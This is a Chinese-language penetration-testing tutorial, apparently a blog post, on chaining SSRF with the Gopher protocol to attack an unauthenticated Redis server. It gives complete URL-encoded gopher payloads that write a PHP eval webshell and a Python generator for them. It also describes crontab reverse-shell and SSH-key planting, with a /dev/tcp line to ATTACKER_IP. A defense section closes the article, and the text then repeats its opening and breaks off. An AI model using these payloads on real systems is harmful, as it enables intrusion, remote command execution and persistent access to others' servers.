1. 项目概述从SSRF读文件到Gopher协议攻击Redis的跃迁很多朋友在接触SSRF服务器端请求伪造漏洞时第一反应往往是利用它去读取服务器本地的敏感文件比如/etc/passwd、/proc/self/environ或者应用的配置文件。这确实是一个经典的利用姿势但如果你只停留在这个层面那就大大低估了SSRF的威力。今天我想和你深入聊聊一个更具实战价值的攻击路径如何利用SSRF通过Gopher协议精准打击一个未授权访问的Redis服务并最终实现命令执行或写入Webshell。这不仅仅是“读文件”而是“拿权限”的本质区别。这个攻击链的核心在于两个关键点的结合一是目标服务器上存在一个可以内网访问且未设置密码的Redis实例这在一些开发、测试环境甚至生产环境中并不少见二是存在一个能够发起任意协议请求的SSRF漏洞。Gopher协议在这里扮演了“万能胶水”的角色它能将我们精心构造的Redis命令伪装成一个看似无害的请求通过存在漏洞的Web应用发送给本机的Redis从而完成一系列高危操作。我见过太多只做了基础SSRF检测就收工的渗透测试报告而忽略了内网更深层的攻击面这其实是一种资源的浪费。接下来我将带你完整走一遍从原理理解、Payload构造、编码处理到实战利用的全过程让你手里的SSRF漏洞真正“物尽其用”。2. 攻击原理深度拆解为什么是Gopher与Redis2.1 Gopher协议被遗忘的“上古神器”Gopher是一个比HTTP还要古老的网络协议在万维网诞生之初曾短暂流行。它的设计极其简单本质上是一个支持发送任意TCP数据包的协议。客户端向Gopher服务器发送一个选择器字符串通常以换行结束服务器则返回相应的文本或二进制数据。正是这种“简单粗暴”的特性使得它在SSRF攻击中焕发了第二春。注意现代浏览器基本已不再支持Gopher协议但这恰恰是它在SSRF攻击中的优势。因为许多服务端网络请求库如Python的urllib、PHP的file_get_contents/curl、Java的URLConnection等在支持file://、http://、ftp://的同时也可能支持gopher://。攻击者可以利用这一点让服务器应用代替浏览器向任意内网服务的任意端口发送我们精心构造的原始TCP数据。当存在SSRF漏洞的应用其后端请求函数支持Gopher协议时我们就能通过一个gopher://target_ip:port/_格式的URL向指定的IP和端口发送我们嵌入在URL路径中的原始数据。这些数据会原封不动地通过TCP连接发送出去这就为我们与像Redis这样的纯文本协议服务直接“对话”创造了条件。2.2 Redis未授权访问内网的“隐形炸弹”Redis以其高性能和简单易用著称默认情况下它监听6379端口且没有启用身份验证。许多开发者和运维人员为了图省事或者因为缺乏安全意识会直接让Redis服务运行在0.0.0.0所有接口上并且不配置requirepass密码。这就导致了“Redis未授权访问”漏洞的普遍存在。攻击者一旦能够连接到Redis服务就拥有了极高的权限因为Redis的命令本身就是为了数据操作而设计其中一些命令在特定用法下会产生安全风险数据操作可以任意清空、写入、读取数据。配置修改通过CONFIG SET命令可以动态修改Redis服务器的运行时配置例如数据持久化的目录dir和文件名dbfilename。持久化机制SAVE或BGSAVE命令会将当前内存中的数据以RDB格式持久化到磁盘。将第2点和第3点结合起来就构成了攻击的基石我们可以通过CONFIG SET命令将持久化目录设置为Web应用的根目录如/var/www/html将持久化文件名设置为一个以.php结尾的文件如shell.php然后通过SET命令向一个键写入PHP代码最后执行SAVE。Redis会将这些数据包括我们写入的PHP代码当作数据库内容保存到指定的Web目录下的PHP文件中从而生成一个Webshell。2.3 SSRF Gopher Redis攻击链的形成现在我们把三者串联起来入口一个存在SSRF漏洞的Web应用例如一个提供了URL预览功能且未做严格过滤的接口。桥梁该Web应用的后端请求库支持Gopher协议。目标与Web应用同服务器或同内网的一台Redis服务127.0.0.1:6379且未授权访问。攻击过程攻击者构造一个恶意的Gopher URL其中包含了符合Redis协议格式的、用于写入Webshell或计划任务的一系列命令。攻击者将该URL提交给存在SSRF漏洞的接口。Web应用后端解析该URL向127.0.0.1:6379发起一个Gopher请求。Redis服务器收到这个请求将其视为一个合法的客户端连接并执行其中包含的所有命令。命令执行成功Webshell被写入指定目录或者计划任务被写入crontab。攻击者访问Webshell或等待计划任务执行从而获得服务器权限。这个攻击链之所以高效是因为它完全在应用层逻辑内完成绕过了网络层的防火墙限制因为请求发自本机或内网并且利用了Redis协议的无状态和明文特性。3. Redis协议解析与Payload手工构造要构造Gopher攻击Payload你必须先理解Redis客户端与服务端通信的协议格式。Redis使用一种名为RESPREdis Serialization Protocol的简单文本协议。作为攻击者我们只需要模拟客户端向服务器发送命令的部分。3.1 RESP协议基础格式RESP协议有几种不同的数据类型对于命令传输主要使用“数组”Array和“批量字符串”Bulk String。数组Array以*开头后面跟着数组的元素个数即命令的参数个数以\r\nCRLF结束。例如命令SET key value包含三个参数SET、key、value所以数组表示为*3\r\n。批量字符串Bulk String以$开头后面跟着字符串的字节长度然后是\r\n再然后是字符串内容本身最后以\r\n结束。例如字符串SET的长度是3所以表示为$3\r\nSET\r\n。一个完整的SET key value命令在RESP协议中的表示如下*3\r\n $3\r\n SET\r\n $3\r\n key\r\n $5\r\n value\r\n为了便于阅读我加了换行实际上在传输时\r\n是换行符整个命令是一个连续的字节流*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n。3.2 攻击命令序列分解我们的目标通常是写入Webshell或计划任务。以下是一个典型的攻击序列我以写入Webshell为例进行分解清空当前数据库可选避免干扰FLUSHALL参数个数1Payload:*1\r\n$8\r\nFLUSHALL\r\n设置一个键其值为我们的Webshell代码SET shell ?php eval($_POST[cmd]);?这里有一个关键点直接写入的PHP代码如果包含单引号、空格等特殊字符在后续的URL编码和Redis解析中可能会出问题。一个更稳健的做法是将代码写入一个键但为了演示我们先构造一个简单的。假设我们写入的键名为1值为\n\n?php\neval($_REQUEST[cmd]);\n?\n\n前后加换行是为了避免Redis持久化文件时可能存在的格式问题增加成功率。参数个数3 (SET,1,webshell_code)计算SET长度为31长度为1webshell代码字符串长度需要精确计算。我们假设代码为\n\n?php\neval($_REQUEST[cmd]);\n?\n\n注意这里\n是一个字符ASCII 10。我们数一下\n(1) \n(1) ?php(5) \n(1) eval($_REQUEST[cmd]);(25) \n(1) ?(2) \n(1) \n(1) 38个字符。Payload:*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n?php\neval($_REQUEST[cmd]);\n?\n\n\r\n修改Redis配置设置持久化目录为Web根目录CONFIG SET dir /var/www/html参数个数4 (CONFIG,SET,dir,/var/www/html)计算CONFIG长度6SET长度3dir长度3/var/www/html长度14。Payload:*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n修改Redis配置设置持久化文件名为Webshell文件CONFIG SET dbfilename shell.php参数个数4 (CONFIG,SET,dbfilename,shell.php)计算dbfilename长度10shell.php长度9。Payload:*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n触发持久化将内存数据包含我们的Webshell保存到磁盘SAVE参数个数1Payload:*1\r\n$4\r\nSAVE\r\n可选退出连接QUIT参数个数1Payload:*1\r\n$4\r\nQUIT\r\n现在我们将所有这些Payload片段按顺序拼接起来形成一个完整的Redis命令流。记住中间没有任何多余的换行或空格就是严格的字节流拼接。*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n?php\neval($_REQUEST[cmd]);\n?\n\n\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nSAVE\r\n*1\r\n$4\r\nQUIT\r\n这个字节流就是我们想要通过Gopher协议发送给Redis的原始数据。4. Gopher协议封装与多重URL编码原始的Redis命令流无法直接作为URL的一部分我们必须对其进行编码使其符合URL的规范同时还要满足Gopher协议的一些特殊要求。4.1 Gopher URL格式与编码规则一个基本的Gopher URL格式为gopher://host:port/gopher-path。 其中gopher-path的构成是一个字符表示资源类型通常用_ 我们实际要发送的TCP数据。关键规则如下数据中的换行必须使用%0D%0A即\r\n的URL编码来表示。在我们的Redis命令流中所有的\r\n都需要被替换成%0D%0A。问号?的处理在URL中问号用于分隔路径和查询参数。如果我们的数据中包含字面量的问号比如PHP代码里的?php必须对其进行URL编码即%3F。空格等其他特殊字符空格需要编码为%20单引号编码为%27等等。基本上除了字母数字和少数安全字符如-,_,.,~其他字符都应进行百分号编码。Gopher路径前缀Gopher路径通常以一个字符开头我们使用下划线_。注意这个_本身不需要编码但它后面的第一个字符如果具有特殊含义例如是*在RESP协议中表示数组则必须编码否则可能会被Gopher客户端或服务端错误解析。一个稳妥的做法是将_之后的所有数据即整个Redis命令流都进行URL编码。4.2 分步编码实战让我们对上一步拼接好的命令流进行编码。为了清晰我分步进行步骤一将命令流中的\r\n替换为%0D%0A这是最重要的一步。替换后我们的数据变成了一个很长的字符串其中包含了未编码的,?,,空格等字符。*1%0D%0A$8%0D%0AFLUSHALL%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$1%0D%0A1%0D%0A$38%0D%0A\n\n?php\neval($_REQUEST[cmd]);\n?\n\n%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A*1%0D%0A$4%0D%0AQUIT%0D%0A注意这里的\n我仍然保留为两个字符\和n因为在我们的原始字符串字面量中它代表换行符ASCII 10。在下一步整体编码时它会被编码。步骤二对整个字符串进行URL编码我们需要对上述字符串中所有非字母数字的字符进行百分号编码。这个过程很繁琐极易出错强烈建议使用脚本或在线编码工具。编码后变成%3C?变成%3F\n单个换行符变成%0A单引号变成%27空格变成%20等等。经过完整编码后我们得到一个“面目全非”但符合URL规范的字符串。这里我给出一个编码后的关键部分示例非完整因篇幅过长*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A...注意看$被编码成了%24{被编码成了%7B等等。步骤三组装最终的Gopher URL将编码后的字符串拼接到Gopher URL的路径部分前面加上_或_后直接接编码数据如果编码数据的第一个字符是%则没问题。gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0ASAVE%0D%0A*1%0D%0A%244%0D%0AQUIT%0D%0A这个长长的URL就是我们的攻击Payload。当存在SSRF漏洞的应用去请求这个URL时它就会把编码后的Redis命令流发送给本机的6379端口。实操心得手工构造和编码这样的Payload极其容易出错一个字符算错长度、一个换行符编码错误都会导致Redis服务器解析失败。在实际渗透测试中我强烈推荐使用工具自动化完成。例如可以使用Python脚本先按照RESP协议构造好命令的字节流然后使用urllib.parse.quote函数进行URL编码最后拼接到Gopher URL中。这能极大提高效率和准确性。5. 实战利用场景与高级Payload构造5.1 场景一写入Webshell上述示例就是写入Webshell的完整流程。成功执行后Redis会在/var/www/html目录下生成一个名为shell.php的文件内容包含我们写入的PHP代码。攻击者随后访问http://target.com/shell.php?cmdsystem(whoami);即可执行系统命令。高级技巧绕过WAF或过滤短标签如果目标PHP环境开启了短标签可以使用?代替?php缩短Payload长度。编码混淆可以将PHP代码进行Base64编码然后通过eval(base64_decode(...))执行。这有时可以绕过一些简单的关键词过滤。利用Redis主从复制在Redis 4.x/5.x中如果无法直接CONFIG SET可能被禁用可以尝试利用Redis的主从复制机制让目标Redis作为从节点从我们控制的恶意主节点同步数据其中包含恶意的模块.so文件或计划任务从而实现RCE。这需要更复杂的交互但规避了CONFIG命令的限制。5.2 场景二写入Crontab计划任务Linux另一种常见的利用方式是向/var/spool/cron/crontabs/root或对应用户的crontab文件写入计划任务从而实现定时反弹Shell或执行命令。Payload构造思路使用CONFIG SET dir /var/spool/cron/crontabs设置目录。使用CONFIG SET dbfilename root设置文件名对于root用户。使用SET命令写入一个键其值为计划任务内容例如\n\n*/1 * * * * /bin/bash -c bash -i /dev/tcp/ATTACKER_IP/ATTACKER_PORT 01\n\n。执行SAVE。关键注意事项系统差异如参考文章所述Ubuntu系统的cron对文件格式检查非常严格Redis写入时可能包含的额外换行符或不可见字符会导致cron无法正确解析该文件从而使任务失效。而CentOS等系统可能容忍度更高。因此在Ubuntu上通过cron反弹Shell成功率较低。路径确认不同Linux发行版的crontab路径可能略有不同需要根据目标系统确认。常见路径还有/var/spool/cron/rootCentOS或/etc/cron.d/。反弹Shell命令bash -i /dev/tcp/...是经典的Bash TCP重定向反弹Shell确保目标系统有/dev/tcp这个特殊设备Bash内置支持。5.3 场景三写入SSH公钥如果目标服务器开放了SSH服务通常为22端口且Redis运行用户通常是redis有权限写入~/.ssh/authorized_keys文件那么我们可以通过写入SSH公钥实现免密登录。Payload构造思路在攻击机上生成SSH密钥对ssh-keygen -t rsa。将公钥文件id_rsa.pub的内容准备好确保格式正确以ssh-rsa AAA...开头末尾有注释。使用CONFIG SET dir /home/redis/.ssh或/root/.ssh取决于权限。使用CONFIG SET dbfilename authorized_keys。使用SET命令写入一个键其值为你的公钥内容同样建议前后加换行。执行SAVE。使用私钥id_rsa直接SSH登录目标服务器。这种方法比Webshell和Cron更隐蔽因为SSH登录是正常的管理行为。6. 自动化工具与脚本辅助手工构造太痛苦我们必须借助自动化。这里我分享一个用Python编写的简单Payload生成脚本的核心逻辑。你可以根据实际需求进行扩展。import urllib.parse def generate_redis_gopher_payload(commands): 根据Redis命令列表生成Gopher URL编码后的Payload。 commands: 一个字符串列表每个元素是一条完整的Redis命令如 SET key value resp_parts [] for cmd in commands: parts cmd.split() # 构造RESP数组 resp_parts.append(f*{len(parts)}\\r\\n) for part in parts: # 构造RESP批量字符串 resp_parts.append(f${len(part)}\\r\\n{part}\\r\\n) # 合并所有RESP部分 raw_payload .join(resp_parts) # 进行URL编码注意先替换\r\n为%0D%0A然后编码其他字符 # 这里我们直接对整个字符串进行编码quote函数会处理大部分字符但我们需要确保\r\n被正确编码。 # 一个更稳妥的方法是先编码再替换。 encoded_payload urllib.parse.quote(raw_payload, safe) # 由于quote不会编码 \r 和 \n它们是控制字符所以我们需要手动替换 encoded_payload encoded_payload.replace(\\r, %0D).replace(\\n, %0A) # 组装Gopher URL gopher_url fgopher://127.0.0.1:6379/_{encoded_payload} return gopher_url # 示例写入Webshell的命令序列 webshell_commands [ FLUSHALL, SET 1 \\n\\n?php\\neval($_REQUEST[cmd]);\\n?\\n\\n, CONFIG SET dir /var/www/html, CONFIG SET dbfilename shell.php, SAVE, QUIT ] payload generate_redis_gopher_payload(webshell_commands) print(payload)注意这个示例脚本在处理包含空格、引号和换行符的命令参数时可能不够健壮。在实际使用中你需要更精细地构造RESP协议格式特别是对于包含特殊字符的值如我们的Webshell代码应该先将其作为Python字符串处理好再计算长度和拼接。网上有许多成熟的开源工具如redis-rogue-server、SSRFmap等已经实现了更健壮的Payload生成功能建议在实战中优先使用这些工具。7. 防御策略与排查建议作为防守方了解攻击手法是为了更好地防御。如果你负责运维以下措施至关重要Redis安全配置强制设置密码在redis.conf中配置requirepass yourStrongPassword。禁止远程访问绑定到本地回环地址bind 127.0.0.1或内网IP切勿绑定0.0.0.0。重命名或禁用危险命令使用rename-command配置项将FLUSHALL、CONFIG、EVAL等命令重命名为随机字符串或直接禁用重命名为。以低权限用户运行不要使用root用户运行Redis服务。启用保护模式确保protected-mode设置为yes默认。网络层隔离将Redis服务部署在内网通过防火墙严格限制访问源IP只允许特定的应用服务器访问。Web应用层防御针对SSRF输入校验与过滤对用户输入的URL进行严格的白名单校验只允许访问预期的域名和IP。如果业务只允许HTTP/HTTPS则直接禁用gopher://、file://、ftp://等危险协议。URL解析与限制使用安全的URL解析库避免通过、#等字符进行绕过。对重定向进行严格管控。出站网络限制在服务器或容器层面使用防火墙或安全组策略限制Web应用服务器的出站连接只允许访问必要的服务端口阻断到内网Redis端口的连接。入侵检测与监控监控Redis日志关注异常的CONFIG SET、FLUSHALL命令尤其是对dir和dbfilename的修改。监控文件系统变化在Web目录或cron目录部署文件完整性监控FIM及时发现异常的.php文件或crontab修改。网络流量分析监控Web服务器是否有异常的外连或向非常见端口如6379发起的连接。攻击与防御是一场永不停歇的博弈。通过SSRF利用Gopher攻击Redis是一条经典且有效的内网横向移动路径。理解其原理、掌握手工和自动化构造Payload的方法不仅能让你在渗透测试中多一种利器更能让你从防御者的角度看清整个攻击链的薄弱环节从而构建起更稳固的安全防线。记住真正的安全不在于完全杜绝漏洞而在于当一层防御被突破时还有下一层防御在等待。
SSRF漏洞利用:Gopher协议攻击Redis实现权限提升
1. 项目概述从SSRF读文件到Gopher协议攻击Redis的跃迁很多朋友在接触SSRF服务器端请求伪造漏洞时第一反应往往是利用它去读取服务器本地的敏感文件比如/etc/passwd、/proc/self/environ或者应用的配置文件。这确实是一个经典的利用姿势但如果你只停留在这个层面那就大大低估了SSRF的威力。今天我想和你深入聊聊一个更具实战价值的攻击路径如何利用SSRF通过Gopher协议精准打击一个未授权访问的Redis服务并最终实现命令执行或写入Webshell。这不仅仅是“读文件”而是“拿权限”的本质区别。这个攻击链的核心在于两个关键点的结合一是目标服务器上存在一个可以内网访问且未设置密码的Redis实例这在一些开发、测试环境甚至生产环境中并不少见二是存在一个能够发起任意协议请求的SSRF漏洞。Gopher协议在这里扮演了“万能胶水”的角色它能将我们精心构造的Redis命令伪装成一个看似无害的请求通过存在漏洞的Web应用发送给本机的Redis从而完成一系列高危操作。我见过太多只做了基础SSRF检测就收工的渗透测试报告而忽略了内网更深层的攻击面这其实是一种资源的浪费。接下来我将带你完整走一遍从原理理解、Payload构造、编码处理到实战利用的全过程让你手里的SSRF漏洞真正“物尽其用”。2. 攻击原理深度拆解为什么是Gopher与Redis2.1 Gopher协议被遗忘的“上古神器”Gopher是一个比HTTP还要古老的网络协议在万维网诞生之初曾短暂流行。它的设计极其简单本质上是一个支持发送任意TCP数据包的协议。客户端向Gopher服务器发送一个选择器字符串通常以换行结束服务器则返回相应的文本或二进制数据。正是这种“简单粗暴”的特性使得它在SSRF攻击中焕发了第二春。注意现代浏览器基本已不再支持Gopher协议但这恰恰是它在SSRF攻击中的优势。因为许多服务端网络请求库如Python的urllib、PHP的file_get_contents/curl、Java的URLConnection等在支持file://、http://、ftp://的同时也可能支持gopher://。攻击者可以利用这一点让服务器应用代替浏览器向任意内网服务的任意端口发送我们精心构造的原始TCP数据。当存在SSRF漏洞的应用其后端请求函数支持Gopher协议时我们就能通过一个gopher://target_ip:port/_格式的URL向指定的IP和端口发送我们嵌入在URL路径中的原始数据。这些数据会原封不动地通过TCP连接发送出去这就为我们与像Redis这样的纯文本协议服务直接“对话”创造了条件。2.2 Redis未授权访问内网的“隐形炸弹”Redis以其高性能和简单易用著称默认情况下它监听6379端口且没有启用身份验证。许多开发者和运维人员为了图省事或者因为缺乏安全意识会直接让Redis服务运行在0.0.0.0所有接口上并且不配置requirepass密码。这就导致了“Redis未授权访问”漏洞的普遍存在。攻击者一旦能够连接到Redis服务就拥有了极高的权限因为Redis的命令本身就是为了数据操作而设计其中一些命令在特定用法下会产生安全风险数据操作可以任意清空、写入、读取数据。配置修改通过CONFIG SET命令可以动态修改Redis服务器的运行时配置例如数据持久化的目录dir和文件名dbfilename。持久化机制SAVE或BGSAVE命令会将当前内存中的数据以RDB格式持久化到磁盘。将第2点和第3点结合起来就构成了攻击的基石我们可以通过CONFIG SET命令将持久化目录设置为Web应用的根目录如/var/www/html将持久化文件名设置为一个以.php结尾的文件如shell.php然后通过SET命令向一个键写入PHP代码最后执行SAVE。Redis会将这些数据包括我们写入的PHP代码当作数据库内容保存到指定的Web目录下的PHP文件中从而生成一个Webshell。2.3 SSRF Gopher Redis攻击链的形成现在我们把三者串联起来入口一个存在SSRF漏洞的Web应用例如一个提供了URL预览功能且未做严格过滤的接口。桥梁该Web应用的后端请求库支持Gopher协议。目标与Web应用同服务器或同内网的一台Redis服务127.0.0.1:6379且未授权访问。攻击过程攻击者构造一个恶意的Gopher URL其中包含了符合Redis协议格式的、用于写入Webshell或计划任务的一系列命令。攻击者将该URL提交给存在SSRF漏洞的接口。Web应用后端解析该URL向127.0.0.1:6379发起一个Gopher请求。Redis服务器收到这个请求将其视为一个合法的客户端连接并执行其中包含的所有命令。命令执行成功Webshell被写入指定目录或者计划任务被写入crontab。攻击者访问Webshell或等待计划任务执行从而获得服务器权限。这个攻击链之所以高效是因为它完全在应用层逻辑内完成绕过了网络层的防火墙限制因为请求发自本机或内网并且利用了Redis协议的无状态和明文特性。3. Redis协议解析与Payload手工构造要构造Gopher攻击Payload你必须先理解Redis客户端与服务端通信的协议格式。Redis使用一种名为RESPREdis Serialization Protocol的简单文本协议。作为攻击者我们只需要模拟客户端向服务器发送命令的部分。3.1 RESP协议基础格式RESP协议有几种不同的数据类型对于命令传输主要使用“数组”Array和“批量字符串”Bulk String。数组Array以*开头后面跟着数组的元素个数即命令的参数个数以\r\nCRLF结束。例如命令SET key value包含三个参数SET、key、value所以数组表示为*3\r\n。批量字符串Bulk String以$开头后面跟着字符串的字节长度然后是\r\n再然后是字符串内容本身最后以\r\n结束。例如字符串SET的长度是3所以表示为$3\r\nSET\r\n。一个完整的SET key value命令在RESP协议中的表示如下*3\r\n $3\r\n SET\r\n $3\r\n key\r\n $5\r\n value\r\n为了便于阅读我加了换行实际上在传输时\r\n是换行符整个命令是一个连续的字节流*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n。3.2 攻击命令序列分解我们的目标通常是写入Webshell或计划任务。以下是一个典型的攻击序列我以写入Webshell为例进行分解清空当前数据库可选避免干扰FLUSHALL参数个数1Payload:*1\r\n$8\r\nFLUSHALL\r\n设置一个键其值为我们的Webshell代码SET shell ?php eval($_POST[cmd]);?这里有一个关键点直接写入的PHP代码如果包含单引号、空格等特殊字符在后续的URL编码和Redis解析中可能会出问题。一个更稳健的做法是将代码写入一个键但为了演示我们先构造一个简单的。假设我们写入的键名为1值为\n\n?php\neval($_REQUEST[cmd]);\n?\n\n前后加换行是为了避免Redis持久化文件时可能存在的格式问题增加成功率。参数个数3 (SET,1,webshell_code)计算SET长度为31长度为1webshell代码字符串长度需要精确计算。我们假设代码为\n\n?php\neval($_REQUEST[cmd]);\n?\n\n注意这里\n是一个字符ASCII 10。我们数一下\n(1) \n(1) ?php(5) \n(1) eval($_REQUEST[cmd]);(25) \n(1) ?(2) \n(1) \n(1) 38个字符。Payload:*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n?php\neval($_REQUEST[cmd]);\n?\n\n\r\n修改Redis配置设置持久化目录为Web根目录CONFIG SET dir /var/www/html参数个数4 (CONFIG,SET,dir,/var/www/html)计算CONFIG长度6SET长度3dir长度3/var/www/html长度14。Payload:*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n修改Redis配置设置持久化文件名为Webshell文件CONFIG SET dbfilename shell.php参数个数4 (CONFIG,SET,dbfilename,shell.php)计算dbfilename长度10shell.php长度9。Payload:*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n触发持久化将内存数据包含我们的Webshell保存到磁盘SAVE参数个数1Payload:*1\r\n$4\r\nSAVE\r\n可选退出连接QUIT参数个数1Payload:*1\r\n$4\r\nQUIT\r\n现在我们将所有这些Payload片段按顺序拼接起来形成一个完整的Redis命令流。记住中间没有任何多余的换行或空格就是严格的字节流拼接。*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$3\r\nSET\r\n$1\r\n1\r\n$38\r\n\n\n?php\neval($_REQUEST[cmd]);\n?\n\n\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$14\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*1\r\n$4\r\nSAVE\r\n*1\r\n$4\r\nQUIT\r\n这个字节流就是我们想要通过Gopher协议发送给Redis的原始数据。4. Gopher协议封装与多重URL编码原始的Redis命令流无法直接作为URL的一部分我们必须对其进行编码使其符合URL的规范同时还要满足Gopher协议的一些特殊要求。4.1 Gopher URL格式与编码规则一个基本的Gopher URL格式为gopher://host:port/gopher-path。 其中gopher-path的构成是一个字符表示资源类型通常用_ 我们实际要发送的TCP数据。关键规则如下数据中的换行必须使用%0D%0A即\r\n的URL编码来表示。在我们的Redis命令流中所有的\r\n都需要被替换成%0D%0A。问号?的处理在URL中问号用于分隔路径和查询参数。如果我们的数据中包含字面量的问号比如PHP代码里的?php必须对其进行URL编码即%3F。空格等其他特殊字符空格需要编码为%20单引号编码为%27等等。基本上除了字母数字和少数安全字符如-,_,.,~其他字符都应进行百分号编码。Gopher路径前缀Gopher路径通常以一个字符开头我们使用下划线_。注意这个_本身不需要编码但它后面的第一个字符如果具有特殊含义例如是*在RESP协议中表示数组则必须编码否则可能会被Gopher客户端或服务端错误解析。一个稳妥的做法是将_之后的所有数据即整个Redis命令流都进行URL编码。4.2 分步编码实战让我们对上一步拼接好的命令流进行编码。为了清晰我分步进行步骤一将命令流中的\r\n替换为%0D%0A这是最重要的一步。替换后我们的数据变成了一个很长的字符串其中包含了未编码的,?,,空格等字符。*1%0D%0A$8%0D%0AFLUSHALL%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$1%0D%0A1%0D%0A$38%0D%0A\n\n?php\neval($_REQUEST[cmd]);\n?\n\n%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$3%0D%0Adir%0D%0A$14%0D%0A/var/www/html%0D%0A*4%0D%0A$6%0D%0ACONFIG%0D%0A$3%0D%0ASET%0D%0A$10%0D%0Adbfilename%0D%0A$9%0D%0Ashell.php%0D%0A*1%0D%0A$4%0D%0ASAVE%0D%0A*1%0D%0A$4%0D%0AQUIT%0D%0A注意这里的\n我仍然保留为两个字符\和n因为在我们的原始字符串字面量中它代表换行符ASCII 10。在下一步整体编码时它会被编码。步骤二对整个字符串进行URL编码我们需要对上述字符串中所有非字母数字的字符进行百分号编码。这个过程很繁琐极易出错强烈建议使用脚本或在线编码工具。编码后变成%3C?变成%3F\n单个换行符变成%0A单引号变成%27空格变成%20等等。经过完整编码后我们得到一个“面目全非”但符合URL规范的字符串。这里我给出一个编码后的关键部分示例非完整因篇幅过长*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A...注意看$被编码成了%24{被编码成了%7B等等。步骤三组装最终的Gopher URL将编码后的字符串拼接到Gopher URL的路径部分前面加上_或_后直接接编码数据如果编码数据的第一个字符是%则没问题。gopher://127.0.0.1:6379/_*1%0D%0A%248%0D%0AFLUSHALL%0D%0A*3%0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2438%0D%0A%0A%0A%3C%3Fphp%0A%40eval%28%24_REQUEST%5B%27cmd%27%5D%29%3B%0A%3F%3E%0A%0A%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0ASAVE%0D%0A*1%0D%0A%244%0D%0AQUIT%0D%0A这个长长的URL就是我们的攻击Payload。当存在SSRF漏洞的应用去请求这个URL时它就会把编码后的Redis命令流发送给本机的6379端口。实操心得手工构造和编码这样的Payload极其容易出错一个字符算错长度、一个换行符编码错误都会导致Redis服务器解析失败。在实际渗透测试中我强烈推荐使用工具自动化完成。例如可以使用Python脚本先按照RESP协议构造好命令的字节流然后使用urllib.parse.quote函数进行URL编码最后拼接到Gopher URL中。这能极大提高效率和准确性。5. 实战利用场景与高级Payload构造5.1 场景一写入Webshell上述示例就是写入Webshell的完整流程。成功执行后Redis会在/var/www/html目录下生成一个名为shell.php的文件内容包含我们写入的PHP代码。攻击者随后访问http://target.com/shell.php?cmdsystem(whoami);即可执行系统命令。高级技巧绕过WAF或过滤短标签如果目标PHP环境开启了短标签可以使用?代替?php缩短Payload长度。编码混淆可以将PHP代码进行Base64编码然后通过eval(base64_decode(...))执行。这有时可以绕过一些简单的关键词过滤。利用Redis主从复制在Redis 4.x/5.x中如果无法直接CONFIG 